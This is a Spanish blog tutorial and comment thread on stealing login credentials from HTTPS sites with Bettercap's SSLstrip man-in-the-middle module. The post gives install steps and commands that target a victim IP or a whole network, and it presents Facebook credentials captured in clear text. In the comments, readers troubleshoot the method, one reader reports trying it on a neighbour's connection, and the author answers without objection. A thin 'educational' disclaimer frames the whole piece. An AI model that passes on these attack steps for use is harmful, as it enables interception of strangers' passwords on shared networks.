Para empezar este 2017, os traigo un tutorial sobre cómo obtener las credenciales de sitios web que tengan cifrado SSL/TLS (HTTPS) mediante una técnica llamada SSLstrip y el uso de un framework para realizar ataques MITM (ataque de hombre en el medio) llamado Bettercap, en Internet, existen multitud de tutoriales para realizar este ataque pero aquí os enseñaré como realizarlo de una manera muy simple.
Este tutorial lo hago con fines educativos y sobre todo éticos, no me hago responsable del mal uso que podáis dar con lo aprendido aquí.
¿Qué son las páginas https? ¿Qué diferencias hay con las http?
Muchas veces, nos damos cuenta cuando accedemos a alguna web, que aparece un candado verde en la parte izquierda de la barra de direcciones, esto quiere decirnos, que nuestra conexión con el servidor es segura, es decir, el tráfico entre los dos puntos viaja cifrado.
Este tipo de páginas podemos encontrarlas en aquellas que requieran un nivel «extra» de seguridad debido a que en ellas se maneja información sensible como por ejemplo contraseñas, números de tarjeta de crédito o información confidencial.
Un ejemplo del uso de estas páginas pueden ser las web de los bancos, páginas dedicadas al comercio electrónico (tiendas online) o sitios populares como Google, Facebook o Twitter.
Podríamos decir que la diferencia entre https y http es que la información se envía cifrada para evitar que un tercero capture el tráfico y vea lo que en ella se envía, el trafico https puede ser de igual manera capturado que el tráfico http, pero no podríamos leer lo que contiene (en principio).
Bettercap y SSLstrip
Bettercap es un framework que se utiliza para realizar ataques MITM (Man In The Middle) o hombre en el medio, estos ataques consisten básicamente en interponerse entre 2 equipos para ver que datos se intercambian.
A continuación os dejo unos links por si queréis echar un vistazo más a fondo a esta estupenda herramienta.
Pero, ¿con interponerme en mitad de la conexión es suficiente?
Como bien os había dicho anteriormente, simplemente interponiéndonos en la conexión entre 2 equipos no es suficiente, necesitamos hacer uso de SSLstrip para poder leer lo que en ella se envía, más adelante lo veremos, os dejo un enlace hacia esta herramienta creada por Moxie Marlinspike.
Instalación de Bettercap.
Para instalar Bettercap, abrimos un terminal con permisos de superusuario y escribimos:
- Instalación de dependencias
apt-get install build-essential ruby-dev libpcap-dev
2. Clonamos el repositorio a nuestro equipo.
git clone https://github.com/evilsocket/bettercap
3. Nos posicionamos en la carpeta del proyecto
cd bettercap
4. Construimos las gemas.
gem build bettercap.gemspec
5. Instalamos las gemas
gem install bettercap*.gem
Uso de Bettercap y SSLstrip
Bettercap ya trae un módulo para realizar ataques SSLstrip, por eso creo que esta es la manera más sencilla para realizar este ataque, si conocéis otra manera más rápida y efectiva de realizar este ataque, os invito a que podáis publicarlo a continuación de este artículo.
Abrimos una terminal y escribimos:
bettercap
Deberíamos de ver todos los dispositivos conectados a nuestra red, es hora de acordarnos de la IP de la víctima, que en mi caso sería la IP 192.168.100.251.
Una vez sabemos la IP de la víctima, inicializamos Bettercap de la siguiente manera:
bettercap -T [IP VÍCTIMA] --proxy -P POST
En mi caso quedaría de la siguiente manera: bettercap -T 192.168.100.251 –proxy -P POST
Si queremos que el ataque se realice a toda la red, simplemente no especificamos la IP de la víctima, y comenzará a captura todo el tráfico de red.
bettercap -T --proxy -P POST
Una vez la víctima acceda a cualquier página https (en este caso Facebook).
Podremos ver el tráfico descifrado, y por lo tanto, las credenciales en texto claro.
Un saludo a todos.
Happy Hacking!!!
Amigo, Excelente. Quería hacer unas consultas, de antemano disculpándome por la ignorancia.
1. Esto que explicas es en Entorno Linux?
2. Existe manera de realizar un ataque MITM ignorando el protocolo HSTS que actualmente utilizan todos los navegadores a través de HTTPS?
Gracias!
Buenas Víctor,
El ataque se ha realizado con Linux.
En cuanto al HSTS, es una configuración del servidor, por lo tanto, no puedes ignorarlo si está bien implementado.
Saludos!!
Hola Javier te hago una consulta que herramientas están disponibles en este 2020 para hacer estos ataques? Con éxito desde ya gracias y exelente aporte
Buenas,
Puedes utilizar las mismas, funcionan perfectamente, el problema es que ahora muchos sitios implementan la cabecera de seguridad HSTS (HTTP Stritc Transport Security) y entonces este ataque no puede llevarse a cabo.
Saludos!!
hola, el bettercap actualmente es un poco diferente y ya no funciona de la misma forma, puedesactualizarlo al bettercap 2.x
Buenas,
En cuanto pueda actualizo, gracias!!
Bro entonces actualmente que tipos de ataque podemos hacer con esta herramienta?
Te dejo la documentación de la herramienta:
https://github.com/bettercap/bettercap/wiki
Saludos!
Bro entonces ya no sirve ?
Buenas Delvis,
El ataque aún es efectivo, pero para webs que no implementen HSTS.
Saludos,
Gracias.
en ested caso, para websites como facebook por ejemplo ya no seria valido ?
No, para Facebook ya no funciona, pues tienen implementado HSTS.
Saludos!
En este caso para facebook, ya no seria valido este metodo o aun funciona ?
Ya no es válido para Facebook.
Para web que tengan HTTPS sin HSTS si sería válido.
Saludos!
Esto solo funciona si el proceso de autenticación es también accesible por http. Bettercap y SSLStrip hacen lo mismo: “degradan” una conexión HTTPS a su equivalente HTTP. Esto es factible si se dan dos cosas:
1- Existe la posibilidad de acceder a esa misma página por HTTP
2- El navegador no se da cuenta de que le han “cambiado el protocolo”.
Básicamente, estas dos cosas se pretenden evitar con HSTS.
Buenas Juan,
Como bien dices, si la web fuerza siempre a usar HTTPS (HSTS) este ataque no es efectivo.
Saludos!!
Un post muy interesante, voy a unir esto a mi post , y voy a intentar hacer las cositas que nos cuentas.
A mi capturar las credenciales Facebook sólo me ha funcionado si uso Facebook como proveedor de identidad ( oAuth , OpenID , etc )
Si accedo directamente usando la página de login/password , no me funciona.
Tampoco me funciona en otras páginas, como por ejemplo, GMX ( correo )
por que mencionas sslstrip si luego no lo comentas en absoluto en este articulo?
Sin duda, ya no funciona ni el Facebook, ni Instragram, ni Gmail…. igual han cambiado su sistema de login https, pero os confirmo que no funciona ya.
En cambio, para webs y blogs sin httpS, sí funciona en cuestión de décimas de segundo.
saludos
estimado he intentado realizar el ataque a mi propia conexion, a la conexion de mi vecino. en dispositivos con windows y en otros con android, pero luego del bettercap bettercap -T 192.168.0.23 –proxy -P POST . no me aparece nada, el metodo sigue funcionando aun ?. quedo atento a los comentarios he probado con dos redes sin obtener resultados en facebook por ejemplo. tambien probe enviar el ataque a toda la red.
Buenas, me he descargado Kali 2016 e intentado realizar el tutorial pero me tira el siguiente error tras el primer paso:
apt-get install build-essential ruby-dev libpcap-dev
Que debo hacer?
Perdon, me corrijo. El error es:
«E: No se ha podido localizar el paquete libpcap-dev»
Buenas Ezequiel,
Posiblemente no lo hayas tecleado correctamente.
Prueba a intentarlo de nuevo.
Saludos.
creo que en las webs con hsts como Facebook ya no funciona
Buenas Antoni,
En la fecha que lo publiqué, creo recordar que Facebook no usaba HSTS y funcionó.
Saludos.
Gracias.
Buenos días
Mira soy novato un en el tema pero quiero aprender.tengo un problema al comenzar la instalación de bettercp me salta este error…
El archivo o documento libpcap no se encuentra
Me puedes ayudar con eso gracias de antemano
Bendiciones y éxitos
El archivo o la ca
Buenas,
libpcap es una dependencia, debe instalarse antes de seguir con bettercap.
Sigue al pie de la letra el tutorial e indicamé en que momento te da el error.
Saludos.
Gracias.
Como es posible el descifrado sin que el navegador sospeche sobre la existencia de un mitm? Si la conexión de extremo a extremo no es de confianza el navegador alerta sobre un sitio sospechoso. Y segundo, no tienes la clave privada del certificado para validar tu personería. Con lo cual se me hace difícil de creer que esto sea tan fácil sin aceptar alguna condición de conexión sospechosa
Buenas Sebastián,
En este ataque no se ha tenido que aceptar ningún certificado falso ni el navegador advierte ningún tipo de alerta para que se sospeche por parte de la víctima.
Puedes leer más sobre este ataque en los enlaces que hay publicados, para entender correctamente la manera como funciona SSLstrip.
¿Has realizado al pie de la letra el tutorial?
Saludos.
Gracias.
Totalmente de acuerdo contigo. El tutorial parece un paseo pero la realidad es que sin certificado no hay nada que rascar. Cualquiera puede seguir ese tuto y comprobar que no funciona para conexiones HTTPS. Es más, hay otros tutoriales con pasos muy similares en el que la prueba se hace atacando un móvil Android y para el que ES NECESARIO aceptar un certificado en el teléfono para que funcione, lo que es lógico.
Buenos días KaliMero,
No hace falta aceptar certificado, ya que SSLstrip «desvía» el trafico hacía http, es decir, en realidad no estamos descifrando el tráfico.
Es posible que este ataque ya no funcione en algunas webs con HTTP Strict Transport Security o HTTP con Seguridad de Transporte Estricta (HSTS).
Por otro lado, el tutorial está explicado paso por paso tal y como lo hice yo, coméntame en que paso exacto del tutorial te pide el certificado para poder ayudarte, ya que algo no estarás haciendo correctamente si lo pide.
Saludos,
Gracias.
esto bajo que linux puedo realizarlo, o si se puede realizar desde windows??
Buenas Edwin,
Puedes realizarlo desde cualquier distribución Linux, se recomienda que uses una basada en Debian.
Saludos.
Gracias.